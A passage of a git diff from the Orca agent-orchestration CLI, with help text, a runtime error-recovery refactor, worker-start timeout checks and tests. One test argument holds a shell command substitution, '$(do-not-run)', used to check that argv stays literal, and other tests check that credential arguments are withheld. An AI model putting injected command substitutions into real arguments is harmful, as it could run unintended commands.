+  '  terminal stop             Stop terminals for a worktree',
+  '  terminal create           Create a terminal session in a worktree',
+  '  terminal rename           Set or clear the title of a terminal tab',
+  '  terminal split            Split an existing terminal pane',
+  '  terminal switch           Bring a terminal tab to the foreground',
+  '  terminal focus            Alias for terminal switch',
+  '  terminal close            Close a terminal pane/session, or its whole tab with --tab',
+  '',
+  'Orchestration:',
+  '  orchestration run-create  Create and bind a lightweight orchestration Run',
+  '  orchestration run-use     Bind this coordinator terminal to an existing Run',
+  "  orchestration run-current Show this terminal's bound Run",
+  '  orchestration run-list    List lightweight orchestration Runs',
+  '  orchestration run-show    Show one lightweight orchestration Run',
+  '  orchestration send        Send an inter-agent message',
+  '  orchestration check       Check the bound Run mailbox',
+  '  orchestration ask         Ask the coordinator a blocking question',
+  '  orchestration reply       Reply to a message',
+  '  orchestration inbox       Show all messages across recipients',
+  '  orchestration task-create Create an orchestration task',
+  '  orchestration task-list   List orchestration tasks',
+  '  orchestration task-update Update a task status',
+  '  orchestration dispatch    Dispatch a task to a terminal',
+  '  orchestration dispatch-show Show dispatch context for a task',
+  '  orchestration worker-start Start a supervised worker locally or on a connected Orca server',
+  '  orchestration worker-show Inspect one supervised worker',
+  '  orchestration worker-read Read bounded output from one supervised worker',
+  '  orchestration worker-stop Fence one Dispatch; stop only its supervised worker',
+  '  orchestration worker-abandon Fence an uncertain worker without claiming it stopped',
+  "  orchestration worker-release Release a settled worker's terminal after archiving its output",
+  '  orchestration worker-retain Keep a worker terminal live for debugging',
+  '  orchestration worker-list Report worker terminal resource accounting',
+  '  orchestration coordinator-start Start the legacy automatic coordinator loop',
+  '  orchestration coordinator-stop Stop the legacy automatic coordinator loop',
+  '  orchestration gate-create Create a decision gate blocking a task',
+  '  orchestration gate-resolve Resolve a pending decision gate',
+  '  orchestration gate-list   List decision gates',
+  '  orchestration reset       Reset orchestration state',
+  '',
+  'Computer Use:',
+  '  computer capabilities     Show computer-use provider capabilities',
+  '  computer permissions      Show or open computer-use permission setup',
+  '  computer list-apps        List running apps available to computer-use',
+  '  computer list-windows     List visible windows for a target app',
+  '  computer get-app-state    Capture a compact accessibility snapshot of an app',
+  '  computer click            Click an app element or window coordinate',
+  '  computer perform-secondary-action Run an advertised accessibility action',
+  '  computer scroll           Scroll an app element',
+  '  computer drag             Drag between app elements or window coordinates',
+  '  computer type-text        Type literal text at the current app focus',
+  '  computer press-key        Press a single key such as Return or Escape',
+  '  computer hotkey           Press a shortcut combination such as CmdOrCtrl+A',
+  '  computer paste-text       Paste text through the native clipboard path',
+  '  computer set-value        Set the value of a settable app element',
+  '',
+  'Linear:',
+  '  linear                    Read Linear ticket context for agents',
+  '',
+  'Mobile Emulator (iOS Simulator):',
+  '  emulator list             List available/running emulators (Orca-managed + raw serve-sim)',
+  '  emulator attach <device>  Attach/start helper and make active for the worktree',
+  '  emulator tap <x> <y>      Tap at normalized 0..1 coords (preferred for single taps)',
+  '  emulator type <text>      Type text (US ASCII only)',
+  '  emulator gesture <json>   Send begin/move/end touch points',
+  '  emulator button <name>    Hardware button (home, side_button, etc.)',
+  '  emulator rotate <o>       Rotate device (portrait|landscape_left|...)',
+  '  emulator exec --command   Raw serve-sim subcommand passthrough (no "serve-sim" prefix)',
+  '  emulator kill             Stop helper for device',
+  '',
+  'Browser Automation:',
+  '  tab create                Create a new browser tab (navigates to --url)',
+  '  tab list                  List open browser tabs',
+  '  tab show                  Show one browser tab by page id',
+  '  tab current               Show the current browser tab',
+  '  tab profile list          List browser session profiles',
+  '  tab profile create        Create a browser session profile',
+  '  tab profile delete        Delete a browser session profile',
+  '  tab profile set           Switch a browser tab to a different profile',
+  '  tab profile show          Show the profile bound to a browser tab',
+  '  tab profile use-default   Switch a browser tab back to the default profile',
+  '  tab profile clone         Clone a browser tab into another profile',
+  '  tab switch                Switch the active browser tab by --index or --page',
+  '  tab close                 Close a browser tab by --index/--page or the current tab',
+  '  snapshot                  Accessibility snapshot with element refs (e.g. @e1, @e2)',
+  '  goto                      Navigate the active tab to --url',
+  '  click                     Click element by --element ref',
+  '  fill                      Clear and fill input by --element ref with --value',
+  '  type                      Type --input text at the current focus (no element needed)',
+  '  select                    Select dropdown option by --element ref and --value',
+  '  hover                     Hover element by --element ref',
+  '  keypress                  Press a key (e.g. --key Enter, --key Tab)',
+  '  scroll                    Scroll --direction (up/down) by --amount pixels',
+  '  back                      Navigate back in browser history',
+  '  reload                    Reload the active browser tab',
+  '  screenshot                Capture viewport screenshot (--format png|jpeg)',
+  '  eval                      Evaluate --expression JavaScript in the page context',
+  '  wait                      Wait for page idle or --timeout ms',
+  '  check                     Check a checkbox by --element ref'
+].join('\n')
diff --git a/src/cli/root-help-text-secondary.ts b/src/cli/root-help-text-secondary.ts
new file mode 100644
index 00000000000..79c2f7d21f1
--- /dev/null
+++ b/src/cli/root-help-text-secondary.ts
@@ -0,0 +1,183 @@
+export const ROOT_HELP_TEXT_SECONDARY = [
+  '  uncheck                   Uncheck a checkbox by --element ref',
+  '  focus                     Focus an element by --element ref',
+  '  clear                     Clear an input by --element ref',
+  '  drag                      Drag --from ref to --to ref',
+  '  upload                    Upload --files to a file input by --element ref',
+  '  dblclick                  Double-click element by --element ref',
+  '  forward                   Navigate forward in browser history',
+  '  scrollintoview            Scroll --element into view',
+  '  get                       Get element property (--what: text, html, value, url, title)',
+  '  is                        Check element state (--what: visible, enabled, checked)',
+  '  inserttext                Insert text without key events',
+  '  mouse move                Move mouse to --x --y coordinates',
+  '  mouse down                Press mouse button',
+  '  mouse up                  Release mouse button',
+  '  mouse wheel               Scroll wheel --dy [--dx]',
+  '  find                      Find element by locator (--locator role|text|label --value <v>)',
+  '  set device                Emulate device (--name "iPhone 12")',
+  '  set offline               Toggle offline mode (--state on|off)',
+  '  set headers               Set HTTP headers (--headers \'{"key":"val"}\')',
+  '  set credentials           Set HTTP auth (--user <u> --pass <p>)',
+  '  set media                 Set color scheme (--color-scheme dark|light)',
+  '  clipboard read            Read clipboard contents',
+  '  clipboard write           Write --text to clipboard',
+  '  dialog accept             Accept browser dialog (--text for prompt response)',
+  '  dialog dismiss            Dismiss browser dialog',
+  '  storage local get         Get localStorage value by --key',
+  '  storage local set         Set localStorage --key --value',
+  '  storage local clear       Clear localStorage',
+  '  storage session get       Get sessionStorage value by --key',
+  '  storage session set       Set sessionStorage --key --value',
+  '  storage session clear     Clear sessionStorage',
+  '  download                  Download file via --selector to --path',
+  '  highlight                 Highlight --selector on page',
+  '  exec                      Run any agent-browser command (--command "...")',
+  '',
+  'Common Commands:',
+  '  orca open [--json]',
+  '  orca serve [--port <port>] [--pairing-address <host>] [--mobile-pairing] [--no-pairing] [--project-root <path>] [--recipe-json] [--json]',
+  '  orca status [--json]',
+  '  orca diagnostics memory [--json]',
+  '  orca agent-context [--json]',
+  '  orca account add [--agent claude|codex] [--json]',
+  '  orca account list [--json]',
+  '  orca host list [--json]',
+  '  orca environment add --name <name> --pairing-code <code> [--json]',
+  '  orca environment list [--json]',
+  '  orca environment show --environment <selector> [--json]',
+  '  orca environment rm --environment <selector> [--json]',
+  '  orca worktree list [--repo <selector>] [--limit <n>] [--json]',
+  '  orca worktree create --name <name> [--repo <selector>|--project <id> [--host <host-id>]|--project-host-setup <id>] [--agent <id>] [--prompt <text>] [--setup run|skip|inherit] [--base-branch <ref>] [--issue <number>] [--linear-issue <identifier-or-url>] [--comment <text>] [--parent-worktree <selector>] [--no-parent] [--run-hooks] [--activate] [--json]',
+  '  orca worktree show --worktree <selector> [--json]',
+  '  orca worktree current [--json]',
+  '  orca worktree set --worktree <selector> [--display-name <name>] [--issue <number|null>] [--linear-issue <identifier-or-url|null>] [--comment <text>] [--workspace-status <id>] [--parent-worktree <selector>|--no-parent] [--json]',
+  '  orca worktree rm --worktree <selector> [--force] [--run-hooks] [--json]',
+  '  orca worktree ps [--limit <n>] [--json]',
+  '  orca file open <path> [--worktree <selector>] [--json]',
+  '  orca file diff <path> [--staged] [--worktree <selector>] [--json]',
+  '  orca file open-changed [--mode edit|diff|both] [--worktree <selector>] [--json]',
+  '  orca terminal list [--worktree <selector>] [--limit <n>] [--include-visual-layouts] [--json]',
+  '  orca terminal show [--terminal <handle>] [--json]',
+  '  orca terminal read [--terminal <handle>] [--cursor <n>] [--limit <n>] [--json]',
+  '  orca terminal send [--terminal <handle>] [--text <text>] [--enter] [--interrupt] [--json]',
+  '  orca terminal wait [--terminal <handle>] --for exit|tui-idle [--timeout-ms <ms>] [--json]',
+  '  orca terminal stop --worktree <selector> [--json]',
+  '  orca terminal create [--worktree <selector>] [--title <name>] [--command <text>] [--focus] [--json]',
+  '  orca terminal split [--terminal <handle>] [--direction horizontal|vertical] [--json]',
+  '  orca terminal switch [--terminal <handle>] [--json]',
+  '  orca terminal close [--terminal <handle>] [--tab] [--json]',
+  '  orca project list [--json]',
+  '  orca project setups [--project <id>] [--host <host-id>] [--json]',
+  '  orca project setup-existing-folder --project <id> --host <host-id> --path <path> [--kind git|folder] [--display-name <name>] [--json]',
+  '  orca project setup-clone --project <id> --host <host-id> --url <clone-url> --destination <path> [--display-name <name>] [--json]',
+  '  orca project setup-create --project <id> --host <host-id> [--setup-id <id>] [--path <path>] [--kind git|folder] [--display-name <name>] [--worktree-base-path <path>] [--git-username <name>] [--state ready|not-set-up|setting-up|error|unsupported] [--method imported-existing-folder|cloned|provisioned] [--json]',
+  '  orca project setup-update --setup <setup-id> [--display-name <name>] [--path <path>] [--worktree-base-path <path>] [--git-username <name>] [--kind git|folder] [--state ready|not-set-up|setting-up|error|unsupported] [--method legacy-repo|imported-existing-folder|cloned|provisioned] [--json]',
+  '  orca project setup-delete --setup <setup-id> [--json]',
+  '  orca repo list [--json]',
+  '  orca repo add --path <path> [--json]',
+  '  orca repo show --repo <selector> [--json]',
+  '  orca repo set-base-ref --repo <selector> --ref <ref> [--json]',
+  '  orca repo search-refs --repo <selector> --query <text> [--limit <n>] [--json]',
+  '',
+  'Selectors:',
+  '  --repo <selector>         Registered repo selector such as id:<id>, name:<name>, or path:<path>',
+  '  --worktree <selector>     Worktree selector such as identity:<identity>, id:<repo-id>::<path>, name:<displayName>, branch:<branch>, issue:<number>, path:<path>, or active/current',
+  '  --terminal <handle>       Runtime-issued terminal handle returned by `orca terminal list --json`',
+  '  --parent-worktree <selector> Parent worktree selector such as identity:<identity>, id:<repo-id>::<path>, branch:<branch>, issue:<number>, path:<path>, or active/current',
+  '  --no-parent               Force no parent lineage for unrelated worktree creation/update',
+  '',
+  'Terminal Send Options:',
+  '  --text <text>             Text to send to the terminal',
+  '  --enter                   Append Enter after sending text',
+  '  --interrupt               Send as an interrupt-style input when supported',
+  '',
+  'Terminal List Options:',
+  '  --include-visual-layouts  Include tab and pane topology in JSON output',
+  '',
+  'Wait Options:',
+  '  --for exit                Wait until the target terminal exits',
+  '  --timeout-ms <ms>         Maximum wait time before timing out',
+  '',
+  'Output Options:',
+  '  --json                    Emit machine-readable JSON instead of human text',
+  '  --pairing-code <code>      Connect to a remote Orca runtime using an orca://pair?... code',
+  '  --environment <selector>   Connect using a saved environment id or name',
+  '  --help                    Show this help message',
+  '',
+  'Behavior:',
+  '  Most commands require a running Orca runtime. If Orca is not open yet, run `orca open` first.',
+  '  Remote runtime access can also be supplied with ORCA_PAIRING_CODE or ORCA_ENVIRONMENT.',
+  '  Use selectors for discovery and handles for repeated live terminal operations.',
+  '',
+  'Agent Sessions And Worktrees:',
+  '  `worktree create --agent` creates a new checkout with an agent.',
+  '  To start a fresh agent in the current worktree, use:',
+  '    orca terminal create --worktree active --command "codex"',
+  '',
+  'Browser Workflow:',
+  '  1. Create or navigate:  orca tab create --url https://example.com',
+  '                          orca goto --url https://example.com',
+  '  2. Inspect the page:    orca snapshot',
+  '     (Returns an accessibility tree with element refs like e1, e2, e3)',
+  '     For concurrent workflows, prefer: orca tab list --json',
+  '     then reuse tabs[].browserPageId with --page <id> on later commands.',
+  '  3. Interact:            orca click --element e2',
+  '                          orca fill --element e5 --value "search query"',
+  '                          orca keypress --key Enter',
+  '  4. Re-inspect:          orca snapshot',
+  '     (Element refs change after navigation — always re-snapshot before interacting)',
+  '',
+  'Browser Options:',
+  '  --element <ref>           Element ref from snapshot (e.g. @e3)',
+  '  --url <url>               URL to navigate to',
+  '  --value <text>            Value to fill or select',
+  '  --input <text>            Text to type at current focus (no element needed)',
+  '  --expression <js>         JavaScript expression to evaluate',
+  '  --key <key>               Key to press (Enter, Tab, Escape, Control+a, etc.)',
+  '  --direction <dir>         Scroll direction: up or down',
+  '  --amount <pixels>         Scroll distance in pixels (default: viewport height)',
+  '  --index <n>               Tab index (from `tab list`)',
+  '  --page <id>               Stable browser page id (preferred for concurrent workflows)',
+  '  --profile <id>            Browser profile id',
+  "  --show-profile            Include the tab's browser profile in text output",
+  "  --no-ua-spoof             Keep Electron's native user agent for a new profile",
+  '  --format <png|jpeg>       Screenshot image format',
+  '  --from <ref>              Drag source element ref',
+  '  --to <ref>                Drag target element ref',
+  '  --files <path,...>        Comma-separated file paths for upload',
+  '  --timeout <ms>            Wait timeout in milliseconds',
+  "  --worktree <selector>     Scope commands to a specific worktree's browser tabs",
+  '',
+  'Examples:',
+  '  $ orca open',
+  '  $ orca status --json',
+  '  $ orca diagnostics memory --json',
+  '  $ orca repo list',
+  '  $ orca worktree create --name agent-task --agent codex --prompt "hi"',
+  '  $ orca worktree create --repo name:orca --name cli-test-1 --issue 273',
+  '  $ orca worktree create --repo name:orca --name linear-task --linear-issue https://linear.app/stably/issue/STA-335/test-issue',
+  '  $ orca worktree create --name linear-task --linear-issue STA-335',
+  '  $ orca worktree show --worktree branch:Jinwoo-H/cli',
+  '  $ orca worktree current',
+  '  $ orca worktree set --worktree active --comment "waiting on review"',
+  '  $ orca worktree set --worktree active --linear-issue null',
+  '  $ orca worktree ps --limit 10',
+  '  $ orca file open-changed --mode diff',
+  '  $ orca file open src/App.tsx',
+  '  $ orca terminal create --worktree active --command "codex"',
+  '  $ orca terminal list --worktree path:/Users/me/orca/workspaces/orca/cli-test-1 --json',
+  '  $ orca terminal send --terminal term_123 --text "hi" --enter',
+  '  $ orca terminal wait --terminal term_123 --for exit --timeout-ms 60000 --json',
+  '  $ orca tab current --json',
+  '  $ orca tab show --page page_123 --json',
+  '  $ orca tab create --url https://example.com --profile work',
+  '  $ orca tab profile clone --page page_123 --profile work --json',
+  '  $ orca snapshot',
+  '  $ orca click --element e3',
+  '  $ orca fill --element e5 --value "hello"',
+  '  $ orca goto --url https://example.com/login',
+  '  $ orca keypress --key Enter',
+  '  $ orca eval --expression "document.title"',
+  '  $ orca tab list --json'
+].join('\n')
diff --git a/src/cli/runtime/client-error-recovery.ts b/src/cli/runtime/client-error-recovery.ts
new file mode 100644
index 00000000000..89ff4fa884f
--- /dev/null
+++ b/src/cli/runtime/client-error-recovery.ts
@@ -0,0 +1,31 @@
+import { RuntimeClientError, RuntimeRpcFailureError } from './types'
+
+export function attachMutationRecovery(
+  error: unknown,
+  requestId: string | undefined,
+  originalCommand?: string[]
+): unknown {
+  if (!requestId || !(error instanceof RuntimeClientError)) {
+    return error
+  }
+  const data = {
+    ...(error.data && typeof error.data === 'object' ? error.data : {}),
+    orchestrationRequestId: requestId,
+    ...(originalCommand ? { originalCommand } : {})
+  }
+  if (error instanceof RuntimeRpcFailureError) {
+    return new RuntimeRpcFailureError({
+      ...error.response,
+      error: {
+        ...error.response.error,
+        message: `${error.message} Orchestration mutation request ID: ${requestId}.`,
+        data
+      }
+    })
+  }
+  return new RuntimeClientError(
+    error.code,
+    `${error.message} Orchestration mutation request ID: ${requestId}.`,
+    data
+  )
+}
diff --git a/src/cli/runtime/client-recovery.test.ts b/src/cli/runtime/client-recovery.test.ts
new file mode 100644
index 00000000000..3da40edd5f0
--- /dev/null
+++ b/src/cli/runtime/client-recovery.test.ts
@@ -0,0 +1,130 @@
+import { createServer, type Server } from 'node:net'
+import { mkdtempSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY } from '../../shared/protocol-version'
+import { ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS } from '../../shared/orchestration-timing-budgets'
+import { MAX_TIMER_DELAY_MS } from '../../shared/timer-delay'
+import { orchestrationMutationRecoveryError } from '../orchestration-mutation-recovery'
+import { RuntimeClient, RuntimeRpcFailureError } from '../runtime-client'
+
+const servers = new Set<Server>()
+
+afterEach(async () => {
+  await Promise.all(
+    [...servers].map(
+      (server) =>
+        new Promise<void>((resolve) => {
+          server.close(() => resolve())
+        })
+    )
+  )
+  servers.clear()
+})
+
+describe('RuntimeClient orchestration recovery identity', () => {
+  it('rejects a worker-start timeout whose client grace would overflow timers', () => {
+    const client = new RuntimeClient(undefined, 60_000, null, null, 'orca')
+    const resolve = (
+      client as unknown as {
+        resolveMethodTimeoutMs: (method: string, params?: unknown) => number
+      }
+    ).resolveMethodTimeoutMs.bind(client)
+    const maxValid = MAX_TIMER_DELAY_MS - ORCHESTRATION_WORKER_START_CLIENT_GRACE_MS
+    expect(resolve('orchestration.workerStart', { timeoutMs: maxValid })).toBe(MAX_TIMER_DELAY_MS)
+    expect(() => resolve('orchestration.workerStart', { timeoutMs: maxValid + 1 })).toThrow(
+      'derived timeout must be'
+    )
+  })
+
+  it('attaches the request and exact retry identity to a real RPC failure response', async () => {
+    const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-recovery-'))
+    const endpoint = join(userDataPath, 'runtime.sock')
+    const server = createServer((socket) => {
+      let buffer = ''
+      socket.setEncoding('utf8')
+      socket.on('data', (chunk: string) => {
+        buffer += chunk
+        const newline = buffer.indexOf('\n')
+        if (newline === -1) {
+          return
+        }
+        const request = JSON.parse(buffer.slice(0, newline)) as { id: string; method: string }
+        const response =
+          request.method === 'status.get'
+            ? {
+                id: request.id,
+                ok: true,
+                result: { capabilities: [ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY] },
+                _meta: { runtimeId: 'runtime-1' }
+              }
+            : {
+                id: request.id,
+                ok: false,
+                error: {
+                  code: 'runtime_timeout',
+                  message: 'request timed out',
+                  data: { requestId: 'request_1', dispatchId: 'dispatch_1' }
+                },
+                _meta: { runtimeId: 'runtime-1' }
+              }
+        socket.end(`${JSON.stringify(response)}\n`)
+      })
+    })
+    servers.add(server)
+    await new Promise<void>((resolve) => server.listen(endpoint, resolve))
+    writeFileSync(
+      join(userDataPath, 'orca-runtime.json'),
+      JSON.stringify({
+        runtimeId: 'runtime-1',
+        pid: 1,
+        transports: [{ kind: 'unix', endpoint }],
+        authToken: 'token',
+        startedAt: 1
+      })
+    )
+
+    const client = new RuntimeClient(userDataPath, 500, null, null, 'orca')
+    try {
+      await client.call('orchestration.workerStart', { task: 'task_1' })
+      throw new Error('expected worker-start failure')
+    } catch (error) {
+      expect(error).toBeInstanceOf(RuntimeRpcFailureError)
+      const recovered = orchestrationMutationRecoveryError(error) as {
+        data?: Record<string, unknown>
+        response?: { id?: string; _meta?: { runtimeId?: string } }
+      }
+      expect(recovered).toBeInstanceOf(RuntimeRpcFailureError)
+      expect(recovered.response).toMatchObject({
+        id: expect.any(String),
+        _meta: { runtimeId: 'runtime-1' }
+      })
+      expect(recovered.data).toMatchObject({
+        orchestrationRequestId: expect.any(String),
+        dispatchId: 'dispatch_1',
+        originalCommand: ['orca', 'orchestration', 'worker-start', '--task', 'task_1'],
+        recovery: {
+          queryCommand: [
+            'orca',
+            'orchestration',
+            'worker-show',
+            '--dispatch',
+            'dispatch_1',
+            '--json'
+          ],
+          retryCommand: [
+            'orca',
+            'orchestration',
+            'worker-start',
+            '--task',
+            'task_1',
+            '--retry-request',
+            expect.any(String)
+          ],
+          recoveryBlocked: false
+        }
+      })
+    }
+  })
+})
diff --git a/src/cli/runtime/client.ts b/src/cli/runtime/client.ts
index 31c5b94e5c9..f9a855ae929 100644
--- a/src/cli/runtime/client.ts
+++ b/src/cli/runtime/client.ts
@@ -11,6 +11,7 @@ import { getDefaultUserDataPath, readMetadata } from './metadata'
 import { getCliStatus, projectRemoteAppStatus } from './status'
 import { sendRequest } from './transport'
 import { RuntimeClientError, RuntimeRpcFailureError, type RuntimeRpcSuccess } from './types'
+import { attachMutationRecovery } from './client-error-recovery'
 import { markEnvironmentUsed, resolveEnvironmentPairingOffer } from './environments'
 import {
   ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY,
@@ -19,6 +20,16 @@ import {
 import { RemoteRuntimeCompatGate } from './remote-runtime-compat-gate'
 import { createOrchestrationCompatibilityEnvelope } from './orchestration-compatibility-envelope'
 import { getTimeoutMsParam, isWaitingCheck } from './runtime-request-timeout'
+import {
+  isWorkerStartTimeoutWithinTimerLimit,
+  resolveWorkerStartClientTimeoutMs,
+  resolveWorkerStartReadinessTimeoutMs
+} from '../../shared/orchestration-timing-budgets'
+import { MAX_TIMER_DELAY_MS } from '../../shared/timer-delay'
+import {
+  buildOrchestrationRecoveryCommand,
+  resolveOrchestrationCliExecutable
+} from './orchestration-recovery-command'
 
 // Why: for long-poll methods the caller's method-level
 // `params.timeoutMs` is the inner waiter budget; we extend the client-side
@@ -40,6 +51,8 @@ export class RuntimeClient {
   private readonly requestTimeoutMs: number
   private readonly remotePairing: PairingOffer | null
   private readonly environmentSelector: string | null
+  private readonly cliExecutable: string
+  private readonly originalArgs: readonly string[] | undefined
   private readonly remoteCompat: RemoteRuntimeCompatGate
   private orchestrationContractCheck: Promise<void> | null = null
   private readonly orchestrationCompatibility = createOrchestrationCompatibilityEnvelope(
@@ -53,11 +66,15 @@ export class RuntimeClient {
     userDataPath = getDefaultUserDataPath(),
     requestTimeoutMs = 60_000,
     remotePairingCode = process.env.ORCA_PAIRING_CODE ?? process.env.ORCA_REMOTE_PAIRING ?? null,
-    environmentSelector = process.env.ORCA_ENVIRONMENT ?? null
+    environmentSelector = process.env.ORCA_ENVIRONMENT ?? null,
+    cliExecutable = resolveOrchestrationCliExecutable(),
+    originalArgs?: readonly string[]
   ) {
     this.userDataPath = userDataPath
     this.requestTimeoutMs = requestTimeoutMs
     this.environmentSelector = environmentSelector
+    this.cliExecutable = cliExecutable
+    this.originalArgs = originalArgs ? [...originalArgs] : undefined
     this.remotePairing = resolveRemotePairing(userDataPath, remotePairingCode, environmentSelector)
     this.remoteCompat = new RemoteRuntimeCompatGate(userDataPath, environmentSelector)
   }
@@ -79,6 +96,9 @@ export class RuntimeClient {
     const orchestrationRequestId = orchestrationMutation
       ? (options?.orchestrationRequestId ?? randomUUID())
       : undefined
+    const originalCommand = orchestrationMutation
+      ? buildOrchestrationRecoveryCommand(method, params, this.cliExecutable, this.originalArgs)
+      : undefined
     const compatibilityEnvelope = method.startsWith('orchestration.')
       ? {
           ...this.orchestrationCompatibility,
@@ -107,10 +127,14 @@ export class RuntimeClient {
           envelope
         })
       } catch (error) {
-        throw attachMutationRecovery(error, orchestrationRequestId)
+        throw attachMutationRecovery(error, orchestrationRequestId, originalCommand)
       }
       if (response.ok === false) {
-        throw new RuntimeRpcFailureError(response)
+        throw attachMutationRecovery(
+          new RuntimeRpcFailureError(response),
+          orchestrationRequestId,
+          originalCommand
+        )
       }
       if (this.environmentSelector) {
         markEnvironmentUsed(this.userDataPath, this.environmentSelector, {
@@ -124,10 +148,14 @@ export class RuntimeClient {
     try {
       response = await sendRequest<TResult>(metadata, method, params, effectiveTimeoutMs, envelope)
     } catch (error) {
-      throw attachMutationRecovery(error, orchestrationRequestId)
+      throw attachMutationRecovery(error, orchestrationRequestId, originalCommand)
     }
     if (response.ok === false) {
-      throw new RuntimeRpcFailureError(response)
+      throw attachMutationRecovery(
+        new RuntimeRpcFailureError(response),
+        orchestrationRequestId,
+        originalCommand
+      )
     }
     return response
   }
@@ -138,6 +166,18 @@ export class RuntimeClient {
   // to resolve. Without this, a 5 min wait would still die at the 60 s default.
   // See design doc §3.1.
   private resolveMethodTimeoutMs(method: string, params?: unknown): number {
+    if (method === 'orchestration.workerStart') {
+      const requestedValue = getTimeoutMsParam(params)
+      const requested = typeof requestedValue === 'number' ? requestedValue : Number(requestedValue)
+      if (!isWorkerStartTimeoutWithinTimerLimit(requested)) {
+        throw new RuntimeClientError(
+          'invalid_argument',
+          `--timeout-ms is too large for worker-start transport grace; the derived timeout must be <= ${MAX_TIMER_DELAY_MS}ms.`
+        )
+      }
+      const readiness = resolveWorkerStartReadinessTimeoutMs(requested)
+      return Math.max(resolveWorkerStartClientTimeoutMs(readiness), this.requestTimeoutMs)
+    }
     if (
       (method === 'orchestration.check' && isWaitingCheck(params)) ||
       method === 'terminal.wait'
@@ -241,20 +281,6 @@ export class RuntimeClient {
   }
 }
 
-function attachMutationRecovery(error: unknown, requestId: string | undefined): unknown {
-  if (!requestId || !(error instanceof RuntimeClientError)) {
-    return error
-  }
-  return new RuntimeClientError(
-    error.code,
-    `${error.message} Orchestration mutation request ID: ${requestId}.`,
-    {
-      ...(error.data && typeof error.data === 'object' ? error.data : {}),
-      orchestrationRequestId: requestId
-    }
-  )
-}
-
 function throwDesktopActivationBlocked(): never {
   throw new RuntimeClientError(
     'desktop_activation_blocked',
diff --git a/src/cli/runtime/orchestration-recovery-command.test.ts b/src/cli/runtime/orchestration-recovery-command.test.ts
new file mode 100644
index 00000000000..68c0a72c507
--- /dev/null
+++ b/src/cli/runtime/orchestration-recovery-command.test.ts
@@ -0,0 +1,133 @@
+import { describe, expect, it } from 'vitest'
+import {
+  buildOrchestrationRecoveryCommand,
+  resolveOrchestrationCliExecutable
+} from './orchestration-recovery-command'
+
+describe('orchestration recovery command identity', () => {
+  it.each([
+    ['configured dev', { ORCA_CLI_COMMAND: 'orca-dev' }, 'darwin', 'orca-dev'],
+    ['configured WSL', { ORCA_CLI_COMMAND: 'orca-ide' }, 'linux', 'orca-ide'],
+    ['dev checkout', { ORCA_DEV_REPO_ROOT: '/repo' }, 'darwin', 'orca-dev'],
+    ['packaged Linux', {}, 'linux', 'orca-ide'],
+    ['local macOS', {}, 'darwin', 'orca'],
+    ['local Windows', {}, 'win32', 'orca']
+  ] as const)('resolves the %s CLI identity', (_name, env, platform, expected) => {
+    expect(resolveOrchestrationCliExecutable(env, platform)).toBe(expected)
+  })
+
+  it('reconstructs the keyed worker-start command from its RPC params', () => {
+    expect(
+      buildOrchestrationRecoveryCommand(
+        'orchestration.workerStart',
+        {
+          task: 'task_1',
+          on: 'windows',
+          worktree: 'new-top-level',
+          timeoutMs: 90_000,
+          devMode: false
+        },
+        'orca'
+      )
+    ).toEqual([
+      'orca',
+      'orchestration',
+      'worker-start',
+      '--task',
+      'task_1',
+      '--on',
+      'windows',
+      '--worktree',
+      'new-top-level',
+      '--timeout-ms',
+      '90000'
+    ])
+  })
+
+  it('preserves the selected executable and raw command arguments', () => {
+    expect(
+      buildOrchestrationRecoveryCommand(
+        'orchestration.workerStart',
+        { task: 'task_1' },
+        'orca-dev',
+        [
+          'orchestration',
+          'worker-start',
+          '--task',
+          'task_1',
+          '--comment',
+          'literal $(do-not-run) "quoted"',
+          '--json'
+        ]
+      )
+    ).toEqual([
+      'orca-dev',
+      'orchestration',
+      'worker-start',
+      '--task',
+      'task_1',
+      '--comment',
+      'literal $(do-not-run) "quoted"',
+      '--json'
+    ])
+  })
+
+  it.each([
+    [
+      'gate-create',
+      'orchestration.gateCreate',
+      ['orchestration', 'gate-create', '--task', 'task_1', '--question', 'ship?']
+    ],
+    [
+      'worker-retain',
+      'orchestration.workerRetain',
+      ['orchestration', 'worker-retain', '--dispatch', 'dispatch_1', '--json']
+    ]
+  ] as const)('preserves exact raw argv for %s recovery', (_name, method, args) => {
+    expect(buildOrchestrationRecoveryCommand(method, {}, 'orca', args)).toEqual(['orca', ...args])
+  })
+
+  it.each([
+    ['split', ['orchestration', 'send', '--pairing-code', 'secret', '--subject', 'status']],
+    ['equals', ['orchestration', 'send', '--pairing-code=secret', '--subject', 'status']],
+    [
+      'dispatch split',
+      ['orchestration', 'send', '--dispatch-capability', 'secret', '--subject', 'status']
+    ],
+    [
+      'dispatch equals',
+      ['orchestration', 'send', '--dispatch-capability=secret', '--subject', 'status']
+    ]
+  ])('blocks %s credential argv instead of exposing it', (_name, args) => {
+    expect(
+      buildOrchestrationRecoveryCommand('orchestration.send', {}, 'orca', args)
+    ).toBeUndefined()
+  })
+
+  it('supports the explicit executable-first form', () => {
+    expect(
+      buildOrchestrationRecoveryCommand('orca-ide', 'orchestration.workerStop', {
+        dispatch: 'dispatch_1'
+      })
+    ).toEqual(['orca-ide', 'orchestration', 'worker-stop', '--dispatch', 'dispatch_1'])
+  })
+
+  it('reconstructs worker-retain when raw argv is unavailable', () => {
+    expect(
+      buildOrchestrationRecoveryCommand('orchestration.workerRetain', {
+        dispatch: 'dispatch_1'
+      })
+    ).toEqual([
+      resolveOrchestrationCliExecutable(),
+      'orchestration',
+      'worker-retain',
+      '--dispatch',
+      'dispatch_1'
+    ])
+  })
+
+  it('does not fabricate identity for unsupported mutations or malformed params', () => {
+    expect(buildOrchestrationRecoveryCommand('orchestration.send', {})).toBeUndefined()
+    expect(buildOrchestrationRecoveryCommand('orchestration.workerStart', null)).toBeUndefined()
+  })
+})
diff --git a/src/cli/runtime/orchestration-recovery-command.ts b/src/cli/runtime/orchestration-recovery-command.ts
new file mode 100644
index 00000000000..706b1656ac6
--- /dev/null
+++ b/src/cli/runtime/orchestration-recovery-command.ts
@@ -0,0 +1,102 @@
+export function resolveOrchestrationCliExecutable(
+  env: NodeJS.ProcessEnv = process.env,
+  platform: NodeJS.Platform = process.platform
+): string {
+  const configured = env.ORCA_CLI_COMMAND?.trim()
+  if (configured) {
+    return configured
